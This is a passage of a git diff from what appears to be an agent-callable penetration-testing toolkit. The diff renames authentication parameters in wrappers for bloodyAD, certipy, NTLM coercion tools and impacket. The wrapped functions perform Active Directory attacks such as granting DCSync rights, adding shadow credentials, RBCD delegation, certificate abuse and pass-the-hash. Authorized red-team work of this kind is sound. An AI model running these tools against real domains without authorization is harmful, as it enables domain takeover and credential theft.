username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -643,11 +643,11 @@ async def bloodyad_add_user( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, user_password: str | None = None, env: dict[str, str] | None = None, input: str | None = None, @@ -663,11 +663,11 @@ async def bloodyad_add_user( new_username: The username for the new account to create. domain: Domain name (e.g., 'domain.local'). username: Username for authentication (the account performing the action). - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. user_password: Optional password for the new user account. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. @@ -677,11 +677,11 @@ async def bloodyad_add_user( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -704,11 +704,11 @@ async def bloodyad_add_dcsync( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -723,11 +723,11 @@ async def bloodyad_add_dcsync( target_username: The user to grant DCSync rights to. domain: Domain name (e.g., 'domain.local'). username: Username for authentication (the account performing the action). - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -736,11 +736,11 @@ async def bloodyad_add_dcsync( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -761,11 +761,11 @@ async def bloodyad_add_rbcd( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -781,11 +781,11 @@ async def bloodyad_add_rbcd( delegate_from: The object that can impersonate to delegate_to. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -794,11 +794,11 @@ async def bloodyad_add_rbcd( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -818,11 +818,11 @@ async def bloodyad_add_shadowcredentials( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, pfx_password: str | None = None, env: dict[str, str] | None = None, input: str | None = None, @@ -838,11 +838,11 @@ async def bloodyad_add_shadowcredentials( target_object: The target object to add shadow credentials to. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. pfx_password: Optional password for the PFX certificate. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. @@ -852,11 +852,11 @@ async def bloodyad_add_shadowcredentials( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -880,11 +880,11 @@ async def bloodyad_add_genericall( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -900,11 +900,11 @@ async def bloodyad_add_genericall( principal: The principal to grant GenericAll rights to. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -913,11 +913,11 @@ async def bloodyad_add_genericall( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -938,11 +938,11 @@ async def bloodyad_add_dnsrecord( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -958,11 +958,11 @@ async def bloodyad_add_dnsrecord( ip_address: The IP address for the DNS record. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -971,11 +971,11 @@ async def bloodyad_add_dnsrecord( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -996,11 +996,11 @@ async def bloodyad_set_password( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -1016,11 +1016,11 @@ async def bloodyad_set_password( new_password: The new password to set for the target user. domain: Domain name (e.g., 'domain.local'). username: Username for authentication (the account performing the action). - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -1029,11 +1029,11 @@ async def bloodyad_set_password( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -1055,11 +1055,11 @@ async def bloodyad_set_object( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -1076,11 +1076,11 @@ async def bloodyad_set_object( values: The value(s) to set for the attribute. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -1089,11 +1089,11 @@ async def bloodyad_set_object( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -1115,11 +1115,11 @@ async def bloodyad_remove_groupmember( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -1135,11 +1135,11 @@ async def bloodyad_remove_groupmember( member_name: The user or computer to remove from the group. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -1148,11 +1148,11 @@ async def bloodyad_remove_groupmember( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -1172,11 +1172,11 @@ async def bloodyad_remove_object( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -1191,11 +1191,11 @@ async def bloodyad_remove_object( object_name: The object to delete from Active Directory. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -1204,11 +1204,11 @@ async def bloodyad_remove_object( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -1228,11 +1228,11 @@ async def bloodyad_remove_dcsync( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -1247,11 +1247,11 @@ async def bloodyad_remove_dcsync( target_username: The user to remove DCSync rights from. domain: Domain name (e.g., 'domain.local'). username: Username for authentication (the account performing the action). - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -1260,11 +1260,11 @@ async def bloodyad_remove_dcsync( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -1285,11 +1285,11 @@ async def bloodyad_remove_rbcd( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -1305,11 +1305,11 @@ async def bloodyad_remove_rbcd( delegate_from: The object that can no longer impersonate to delegate_to. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -1318,11 +1318,11 @@ async def bloodyad_remove_rbcd( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -1342,11 +1342,11 @@ async def bloodyad_remove_shadowcredentials( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -1361,11 +1361,11 @@ async def bloodyad_remove_shadowcredentials( target_object: The target object to remove shadow credentials from. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -1374,11 +1374,11 @@ async def bloodyad_remove_shadowcredentials( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -1399,11 +1399,11 @@ async def bloodyad_remove_dnsrecord( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -1419,11 +1419,11 @@ async def bloodyad_remove_dnsrecord( ip_address: The IP address of the DNS record to remove. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -1432,11 +1432,11 @@ async def bloodyad_remove_dnsrecord( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -1457,11 +1457,11 @@ async def bloodyad_remove_genericall( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -1477,11 +1477,11 @@ async def bloodyad_remove_genericall( principal: The principal to remove GenericAll rights from. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -1490,11 +1490,11 @@ async def bloodyad_remove_genericall( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] diff --git a/capabilities/network-ops/tools/certipy.py b/capabilities/network-ops/tools/certipy.py index 26f7431..de36cbe 100644 --- a/capabilities/network-ops/tools/certipy.py +++ b/capabilities/network-ops/tools/certipy.py @@ -86,7 +86,7 @@ async def certipy( self, action: str, args: list[str], - target: str, + dc_ip: str, username: str | None = None, domain: str | None = None, password: str | None = None, @@ -114,11 +114,11 @@ async def certipy( shadow - Abuse Shadow Credentials for account takeover template - Manage certificate templates args: A list of arguments specific to the subcommand. - target: The IP address of the Domain Controller. + dc_ip: The IP address of the Domain Controller. username: The username for authentication. domain: The domain name. password: The password for authentication. - nt_hash: The NTLM hash for authentication. + nt_hash: NTLM hash for authentication, as LMHASH:NTHASH or the NT hash alone. relay_timeout: Only for action="relay": seconds to keep the listener up waiting for a relayed certificate before returning (defaults to the toolset's relay_timeout). Ignored for every other action. @@ -138,9 +138,11 @@ async def certipy( if password: cmd.extend(["-p", password]) elif nt_hash: - cmd.extend(["-hashes", f":{nt_hash}"]) + # certipy's -hashes expects LMHASH:NTHASH; accept the family-wide + # full form verbatim and pad an empty LM half when given the NT hash alone. + cmd.extend(["-hashes", nt_hash if ":" in nt_hash else f":{nt_hash}"]) - cmd.extend(["-dc-ip", target]) + cmd.extend(["-dc-ip", dc_ip]) cmd.extend(args) logger.info(f"Running '{self.certipy_cmd} {action}' with args: {' '.join(args)}") @@ -163,7 +165,7 @@ async def certipy( @tool_method(catch=True, variants=["specialized", "all"]) async def certipy_find_vulnerable_templates( self, - target: str, + dc_ip: str, username: str, domain: str, password: str | None = None, @@ -173,17 +175,17 @@ async def certipy_find_vulnerable_templates( Finds vulnerable AD CS certificate templates using the certipy-ad runner. Args: - target: The IP address of the Domain Controller. + dc_ip: The IP address of the Domain Controller. username: The username for authentication. domain: The domain name. password: The password for authentication. - nt_hash: The NTLM hash for authentication. + nt_hash: NTLM hash for authentication, as LMHASH:NTHASH or the NT hash alone. """ - logger.info(f"Finding vulnerable certificate templates on {target}") + logger.info(f"Finding vulnerable certificate templates on {dc_ip}") return await self.certipy( action="find", args=["-vulnerable", "-stdout"], - target=target, + dc_ip=dc_ip, username=username, domain=domain, password=password, @@ -193,7 +195,7 @@ async def certipy_find_vulnerable_templates( @tool_method(catch=True, variants=["specialized", "all"]) async def certipy_request_certificate( self, - target: str, + dc_ip: str, ca_server: str, ca_name: str, template: str, @@ -207,14 +209,14 @@ async def certipy_request_certificate( Requests a certificate using a specified template via the certipy-ad runner. Args: - target: IP address of the Domain Controller. + dc_ip: IP address of the Domain Controller. ca_server: Hostname or IP of the Certificate Authority server. ca_name: Name of the Certificate Authority (e.g., "corp-CA"). template: Name of the certificate template to use. username: Username for authentication. domain: Domain name. password: Password for authentication. - nt_hash: NTLM hash for authentication. + nt_hash: NTLM hash for authentication, as LMHASH:NTHASH or the NT hash alone. on_behalf_of: User to impersonate for the certificate request (for ESC4). """ args = [ @@ -231,7 +233,7 @@ async def certipy_request_certificate( return await self.certipy( action="req", args=args, - target=target, + dc_ip=dc_ip, username=username, domain=domain, password=password, @@ -242,7 +244,7 @@ async def certipy_request_certificate( async def certipy_certificate_auth( self, pfx_file: str, - target: str, + dc_ip: str, *, username: str = "", domain: str = "", @@ -252,7 +254,7 @@ async def certipy_certificate_auth( Args: pfx_file: Path to the PFX certificate file. - target: IP address of the Domain Controller. + dc_ip: IP address of the Domain Controller. username: The username for authentication. domain: The domain name. """ @@ -261,7 +263,7 @@ async def certipy_certificate_auth( args=["-pfx", pfx_file], username=username, domain=domain, - target=target, + dc_ip=dc_ip, ) # General methods @@ -343,6 +345,9 @@ async def certipy_auth(self, args: list[str], input: str | None = None) -> str: """ Execute a certipy-ad auth command. + Raw escape hatch for arbitrary ``auth`` arguments. Prefer + ``certipy_certificate_auth`` for the common PFX-based authentication flow. + Authenticate to Active Directory services using certificates. This command enables certificate-based authentication to obtain Kerberos tickets, NT hashes, or establish LDAP connections. @@ -508,7 +513,7 @@ async def certipy_cert(self, args: list[str], input: str | None = None) -> str: @tool_method(catch=True, variants=["generic", "all"]) async def certipy_find( self, - target: str, + dc_ip: str, args: list[str] | None = None, username: str | None = None, domain: str | None = None, @@ -555,12 +560,12 @@ async def certipy_find( Args: - target: The IP address of the Domain Controller. + dc_ip: The IP address of the Domain Controller. args: Additional arguments for the find command (e.g., ["-vulnerable", "-stdout"]). username: The username for authentication. domain: The domain name (combined with username as user@domain). password: The password for authentication. - nt_hash: The NTLM hash for authentication. + nt_hash: NTLM hash for authentication, as LMHASH:NTHASH or the NT hash alone. input: Optional stdin for the command. The default (and any empty value) auto-confirms certipy's interactive prompts with "y"; pass an explicit answer such as "n" to respond differently. @@ -568,7 +573,7 @@ async def certipy_find( return await self.certipy( action="find", args=args or [], - target=target, + dc_ip=dc_ip, username=username, domain=domain, password=password, @@ -581,6 +586,9 @@ async def certipy_req(self, args: list[str], input: str | None = None) -> str: r""" Execute a certipy-ad req command. + Raw escape hatch for arbitrary ``req`` arguments. Prefer + ``certipy_request_certificate`` for the common structured request flow. + Request and retrieve certificates from Active Directory Certificate Services (AD CS). This command supports multiple enrollment protocols and certificate template types. diff --git a/capabilities/network-ops/tools/coercion.py b/capabilities/network-ops/tools/coercion.py index 00d02c8..b779fad 100644 --- a/capabilities/network-ops/tools/coercion.py +++ b/capabilities/network-ops/tools/coercion.py @@ -72,7 +72,7 @@ async def coerce_petitpotam( username: str | None = None, password: str | None = None, domain: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, no_pass: bool = False, kerberos: bool = False, dc_ip: str | None = None, @@ -147,7 +147,7 @@ async def coerce_petitpotam( username: Username for authentication to the target. password: Password for authentication. domain: Domain name for authentication. - hashes: NTLM hashes in [LMHASH]:NTHASH format. + nt_hash: NTLM hashes in [LMHASH]:NTHASH format. no_pass: Don't prompt for password (for unauthenticated or Kerberos). kerberos: Use Kerberos authentication from ccache (KRB5CCNAME). dc_ip: Domain controller IP address override. @@ -164,9 +164,9 @@ async def coerce_petitpotam( args.extend(["-p", password]) if domain: args.extend(["-d", domain]) - if hashes: - args.extend(["-hashes", hashes]) - if no_pass or (not password and not hashes): + if nt_hash: + args.extend(["-hashes", nt_hash]) + if no_pass or (not password and not nt_hash): args.append("-no-pass") if kerberos: args.append("-k") @@ -199,7 +199,7 @@ async def coerce_dfscoerce( username: str | None = None, password: str | None = None, domain: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, no_pass: bool = False, kerberos: bool = False, dc_ip: str | None = None, @@ -230,7 +230,7 @@ async def coerce_dfscoerce( target="dc01.corp.local", username="admin", domain="corp.local", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0" + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0" ) @@ -262,7 +262,7 @@ async def coerce_dfscoerce( username: Username for authentication to the target. password: Password for authentication. domain: Domain name for authentication. - hashes: NTLM hashes in [LMHASH]:NTHASH format. + nt_hash: NTLM hashes in [LMHASH]:NTHASH format. no_pass: Don't prompt for password (for unauthenticated or Kerberos). kerberos: Use Kerberos authentication from ccache (KRB5CCNAME). dc_ip: Domain controller IP address override. @@ -278,9 +278,9 @@ async def coerce_dfscoerce( args.extend(["-p", password]) if domain: args.extend(["-d", domain]) - if hashes: - args.extend(["-hashes", hashes]) - if no_pass or (not password and not hashes): + if nt_hash: + args.extend(["-hashes", nt_hash]) + if no_pass or (not password and not nt_hash): args.append("-no-pass") if kerberos: args.append("-k") @@ -311,7 +311,7 @@ async def coerce_shadowcoerce( username: str | None = None, password: str | None = None, domain: str | None = None, - hashes: str | None = None, + nt_hash: str | None = None, debug: bool = False, env: dict[str, str] | None = None, input: str | None = None, @@ -343,7 +343,7 @@ async def coerce_shadowcoerce( target="fs01.corp.local", username="admin", domain="corp.local", - hashes=":31d6cfe0d16ae931b73c59d7e0c089c0" + nt_hash=":31d6cfe0d16ae931b73c59d7e0c089c0" ) @@ -372,7 +372,7 @@ async def coerce_shadowcoerce( username: Username for authentication to the target. password: Password for authentication. domain: Domain name for authentication. - hashes: NTLM hashes in [LMHASH]:NTHASH format. + nt_hash: NTLM hashes in [LMHASH]:NTHASH format. debug: Enable debug output. env: Optional environment variables. input: Optional stdin input. @@ -385,8 +385,8 @@ async def coerce_shadowcoerce( args.extend(["-p", password]) if domain: args.extend(["-d", domain]) - if hashes: - args.extend(["-hashes", hashes]) + if nt_hash: + args.extend(["-hashes", nt_hash]) if debug: args.append("-debug") diff --git a/capabilities/network-ops/tools/impacket.py b/capabilities/network-ops/tools/impacket.py index d00303b..db33899 100644 --- a/capabilities/network-ops/tools/impacket.py +++ b/capabilities/network-ops/tools/impacket.py @@ -353,7 